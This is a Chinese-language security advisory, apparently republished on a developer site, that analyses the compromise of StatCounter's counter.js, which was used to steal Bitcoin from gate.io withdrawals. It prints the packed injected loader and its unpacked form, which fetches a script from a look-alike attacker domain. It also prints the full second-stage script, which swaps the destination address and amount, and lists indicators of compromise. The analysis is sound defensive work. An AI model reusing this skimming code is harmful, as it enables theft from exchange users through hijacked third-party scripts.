漏洞预警 | 知名交易所gate.io受JS代码劫持

栏目: JavaScript · 发布时间: 6年前

内容简介:近期,网络分析平台 StatCounter 被黑客攻击,其服务代码被植入恶意脚本,加密货币交易所 gate.io 因使用此代码而受到恶意劫持,这个恶意代码劫持了通过 Gate.io 加密货币交易所的 Web 界面进行的任何比特币交易,攻击者通过替换目标地址来窃取比特币。目前,StatCounter 仍然受到了损害,而 Gate.io 已从其网站上删除了该脚本。分析过程参考 : [

概述

近期,网络分析平台 StatCounter 被黑客攻击,其服务代码被植入恶意脚本,加密货币交易所 gate.io 因使用此代码而受到恶意劫持,这个恶意代码劫持了通过 Gate.io 加密货币交易所的 Web 界面进行的任何比特币交易,攻击者通过替换目标地址来窃取比特币。目前,StatCounter 仍然受到了损害,而 Gate.io 已从其网站上删除了该脚本。

漏洞预警 | 知名交易所gate.io受JS代码劫持

一、漏洞分析

分析过程参考 : [ https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/ ]

11月3日,攻击者成功攻击了网络分析平台 StatCounter 。许多网站管理员都使用此服务来收集访问者的统计信息(这项服务与Google Analytics非常相似)。网站管理员通常会在每个网页中添加一个外部 JavaScript 代码,其中包含来自 StatCounter 的一段代码 www.statcounter [.]com/counter/counter.js。攻击者通过黑入 StatCounter 平台,可以在所有使用 StatCounter 的网站中注入 JavaScript 代码。

攻击者修改的脚本在 www.statcounter [.]com/counter/counter.js 通过加入一块恶意代码,从下面的代码中所示,恶意代码放在了脚本的中间部分。而因为攻击者通常会在脚本的开头或结尾添加恶意代码,加在中间位置会增大检测的难度。

eval(function(p, a, c, k, e, r) {
    e = function(c) {
        return c.toString(a)
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));

该脚本使用 Dean Edwards 打包器打包,这可能是最受欢迎的 JavaScript 打包器。但是,它也可以进行简单地解压,导致运行了脚本代码,如下所示。

myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
	var ga = document.createElement('script');
	ga.src = 'https://www.statconuter.com/c.php';
	ga.setAttribute('async', 'true');
	document.documentElement.firstChild.appendChild(ga);
}

这段代码将首先检查URL是否包含 myaccount/withdraw/BTC. 。因此,我们已经可以猜测攻击者的目标是以比特币平台为目标。如果检查通过,脚本将继续向网页添加新的脚本元素,并将代码合并到 https://www.statconuter [.]com/c.php。

要注意的是,攻击者注册的域名 statcounter[.]com 非常类似于 Statcounter 。他们只是替换了两个字母,在查看日志的时候很难注意到。有趣的是,通过检查该域的被动 DNS,我们注意到该域已于 2010 年因被滥用而暂停。

漏洞预警 | 知名交易所gate.io受JS代码劫持

如上所述,脚本以特定的统一资源标识符(URI)为目标:myaccount/withdraw/BTC 。事实证明,在写入时不同的加密货币交易所中,只有 gate.io 具有带有此URI的有效页面。因此,这种交易所成为这次袭击的主要目标。这种交易所非常受欢迎,在中国的 Alexa 排名为 26,251 甚至最高时为 8,308。

此外,根据coinmarketcap.com ,每天在这个平台都有高达数百万美元的交易。因此,攻击者在这个平台上大规模窃取加密货币获利将是十分巨大的。

网页 https://www.gate [.]io/myaccount/withdraw/BTC ,如下所示,用于将比特币从 gate.io 帐户转移到外部比特币地址。

漏洞预警 | 知名交易所gate.io受JS代码劫持

或许不令人吃惊,事实证明,在第二阶段的有效载荷,从 statconuter[.]com/c.php  ,被设计成窃取比特币。因此,将脚本注入gate.io比特币转移网页是有意义的。这个脚本也包含 Dean Edwards 打包器。解压缩版本如下所示。

document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
	var a = document.getElementById('withdraw_form');
	if ($('#amount').val() > 10) {
		document.forms[0]['addr']['name'] = '';
		var s = $("<input type='hidden' name='addr'/>");
		s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
		var b = $('#withdraw_form');
		b.append(s);
		a.submit();
	} else if (document.getElementById('canUse').innerText > 10) {
		document.forms[0]['addr']['name'] = '';
		var s = $("<input type='hidden' name='addr'/>");
		s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
		var b = $('#withdraw_form');
		b.append(s);
		document.forms[0]['amount']['name'] = '';
		var t = $("<input type='hidden' name='amount'/>");
		t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
		b.append(t);
		a.submit();
	} else {
		doSubmit1();
	}
};

在真正的 gate.io 网页中,已经有一个 doSubmit 函数,当用户点击提交按钮时调用,但攻击者在这里重新定义了它。

该脚本会自动将当前比特币地址替换成攻击者的地址,例如 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad 。每次访问者加载 statconuter[.]com/c.php 脚本时,恶意服务器都会生成一个新的比特币地址。因此,很难看出有多少比特币已转移给攻击者。

根据受害者是否输入超过 10 BTC 的金额,攻击者的脚本将使用它或使用受害者帐户的每日提款限额。在我们的测试帐户中,默认情况下,提款限额设置为 100 BTC。最后,恶意脚本提交表单,该表单执行从受害者帐户到攻击者钱包的转移。

这种重定向可能对受害者来说不明显,因为替换是在他们点击提交按钮后执行的。因此,这次攻击发生的过程非常迅速,甚至可能不会任何显示。

由于每次将恶意脚本发送给受害者时都会生成一个新的比特币地址,我们无法看到攻击者收集了多少比特币。例如,如果我们检查我们在测试机器上收到的地址,则余额为 0 BTC。

二、结论

即使我们不知道在这次攻击中有多少比特币被盗,但此处展示了攻击的可能性与范围,特别是加密货币交易所。为了实现这一目标,他们破坏了分析服务的网站,然后从一个加密货币交易所的客户那里窃取比特币。

它还表明,即使您的网站已更新并受到良好保护,它仍然容易受到最薄弱的组件的影响,尤其是组件使用的是外部的资源。这是另一个提醒,外部 JavaScript 代码由第三方控制,可以随时修改,恕不另行通知。

我们一发现这种恶意活动,已经通知了 StatCounter 和 gate.io .

三、IOC

恶意网址:

statcounter[.]com/counter/counter.js
statconuter[.]com/c.php

以上所述就是小编给大家介绍的《漏洞预警 | 知名交易所gate.io受JS代码劫持》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Building Web Reputation Systems

Building Web Reputation Systems

Randy Farmer、Bryce Glass / Yahoo Press / 2010 / GBP 31.99

What do Amazon's product reviews, eBay's feedback score system, Slashdot's Karma System, and Xbox Live's Achievements have in common? They're all examples of successful reputation systems that enable ......一起来看看 《Building Web Reputation Systems》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

html转js在线工具
html转js在线工具

html转js在线工具